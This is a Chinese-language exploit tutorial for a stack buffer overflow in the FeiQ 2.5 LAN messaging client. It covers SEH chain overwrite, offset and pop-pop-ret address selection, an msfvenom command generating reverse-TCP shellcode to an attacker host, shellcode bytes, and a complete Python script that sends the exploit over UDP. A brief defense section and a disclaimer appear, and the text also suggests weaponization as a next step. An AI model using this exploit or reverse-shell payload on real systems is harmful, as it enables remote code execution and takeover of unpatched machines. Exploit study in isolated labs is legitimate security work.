飞秋2.5栈溢出漏洞深度解析:从SEH链覆盖到实战利用
1. 漏洞背景与环境搭建
飞秋(FeiQ)作为国内广泛使用的局域网即时通讯工具,其2.5版本存在一个经典的栈溢出漏洞。这个漏洞源于对用户输入数据长度缺乏有效校验,导致攻击者可以通过精心构造的网络数据包触发缓冲区溢出,进而实现任意代码执行。
实验环境准备:
- 目标系统:Windows XP SP3(需关闭DEP保护)
- 调试工具:OllyDbg 1.10(配备Immunity Debugger插件)
- 漏洞软件:飞秋2.5正式版(未打补丁版本)
- 辅助工具:Python 3.x(用于构造攻击载荷)
注意:本实验仅限授权环境测试,实际漏洞利用可能违反法律法规。建议在隔离的虚拟机环境中进行复现。
2. 漏洞原理分析
漏洞核心发生在飞秋处理UDP协议数据包的模块中。当接收到特定格式的报文时,程序会执行以下危险操作:
00490635 |. C1E9 02 shr ecx, 2 00490638 |. F3:A5 rep movs dword ptr es:[edi], dword ptr [esi] ; 关键溢出点 0049063A |. 8BCB mov ecx, ebx这段汇编代码的问题在于:
- 未对
ecx寄存器中的拷贝长度进行有效性验证 - 使用
rep movs指令时,目标缓冲区edi的边界未被检查 - 当拷贝长度超过目标缓冲区大小时,会导致栈空间被覆盖
3. 动态调试与偏移定位
3.1 崩溃点定位
使用OllyDbg附加飞秋进程后,发送超长数据包触发崩溃。观察崩溃时的寄存器状态:
| 寄存器 | 值 | 说明 |
|---|---|---|
| EIP | 41414141 | 被覆盖的返回地址 |
| ESP | 0012FFB4 | 栈指针位置 |
| EBP | 41414141 | 被覆盖的基址指针 |
通过观察栈内存布局,我们发现:
0012FFA0 41414141 0012FFA4 41414141 0012FFA8 41414141 0012FFAC 41414141 0012FFB0 41414141 0012FFB4 77D4048F ; 原始返回地址3.2 SEH链覆盖技术
在Windows异常处理机制中,SEH(Structured Exception Handling)链是漏洞利用的常见目标。通过覆盖SEH处理程序指针,可以在程序崩溃时劫持控制流。
关键步骤:
- 定位当前线程的SEH链头(通常位于FS:[0])
- 计算填充数据到SEH记录的偏移量
- 构造"pop pop ret"指令地址实现栈调整
偏移量计算: 通过模式字符串定位,我们确定覆盖SEH需要0x1CEE字节的填充数据:
pattern = "Aa0Aa1Aa2Aa3..." # 使用Metasploit的pattern_create生成 offset = 0x1CEE # 计算得到的精确偏移4. 漏洞利用构造
4.1 利用链设计
完整的攻击载荷结构如下:
- 填充数据:
0x1CEE字节的无关字符(如"A") - SEH链指针:
Next SEH:\xEB\x06\x90\x90(短跳转指令)SE Handler:\x71\x15\xFA\x7F(XP SP3通用pop pop ret地址)
- 跳转指令:
\xE9\xXX\xXX\xXX\xXX(跳转到shellcode) - Shellcode:实际执行的恶意代码
4.2 "pop pop ret"指令定位
在系统DLL中搜索合适的指令序列:
!mona seh -n -o # 使用Immunity Debugger的Mona插件搜索找到的典型地址:
7FFA1571:pop eax; pop ecx; ret7C902B30:pop ebx; pop ebp; ret
4.3 Shellcode编写
使用MSFvenom生成反向TCP shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00' -f python排除坏字符(如空字节、换行符等)后的最终shellcode示例:
shellcode = ( "\xdb\xc4\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x52\x31\x53\x17\x83" "\xeb\xfc\x03\x7b\x15\x72\x26\x87\xf1\xf0\xc9\x77\x02\x95\x40" "\x12\xb6\xf2\x21\xa6\x06\x84\x26\x4a\xe2\xab\xd2\x18\xa6\x47" "\x98\x4d\x52\xd3\xec\x59\x55\x54\x5a\xbc\x58\x65\xf7\xfc\xfb" ... )5. 完整攻击脚本
以下是Python实现的完整漏洞利用代码:
import socket import struct target_ip = "192.168.1.200" target_port = 2425 # 计算各部分长度 seh_offset = 0x1CEE nseh = "\xEB\x06\x90\x90" # 短跳转6字节 seh = "\x71\x15\xFA\x7F" # pop pop ret # 生成填充数据 buffer = "A" * seh_offset buffer += nseh + seh buffer += "\x90" * 16 # NOP雪橇 buffer += shellcode # 实际shellcode # 构造飞秋协议头 header = "1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:" exploit = header + buffer # 发送攻击载荷 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(exploit, (target_ip, target_port)) s.close()6. 防御与缓解措施
针对此类栈溢出漏洞,现代系统已提供多种防护机制:
防护技术对比:
| 技术 | 防护原理 | 绕过难度 |
|---|---|---|
| DEP | 阻止数据页执行代码 | 中 |
| ASLR | 随机化内存布局 | 高 |
| Stack Cookie | 检测栈破坏 | 极高 |
| SafeSEH | 验证SEH处理程序合法性 | 高 |
实际防御建议:
- 及时更新软件到最新版本
- 在兼容性允许的情况下启用DEP和ASLR
- 使用现代操作系统(如Win10+)的增强防护功能
- 网络层面限制飞秋端口的访问范围
7. 漏洞研究进阶方向
对于希望深入二进制安全的研究者,建议从以下方面继续探索:
- ROP链构造:在DEP启用环境下绕过执行保护
- 堆喷射技术:应对ASLR等地址随机化防护
- 漏洞武器化:将PoC转化为稳定可靠的攻击模块
- 漏洞挖掘:使用Fuzzing技术发现新的0day漏洞
在逆向分析过程中,有几个关键点需要特别注意:
- 系统DLL的基址可能因补丁级别不同而变化
- 网络字节序会影响多字节数据的构造
- 实际环境中可能存在防火墙、IDS等防护设备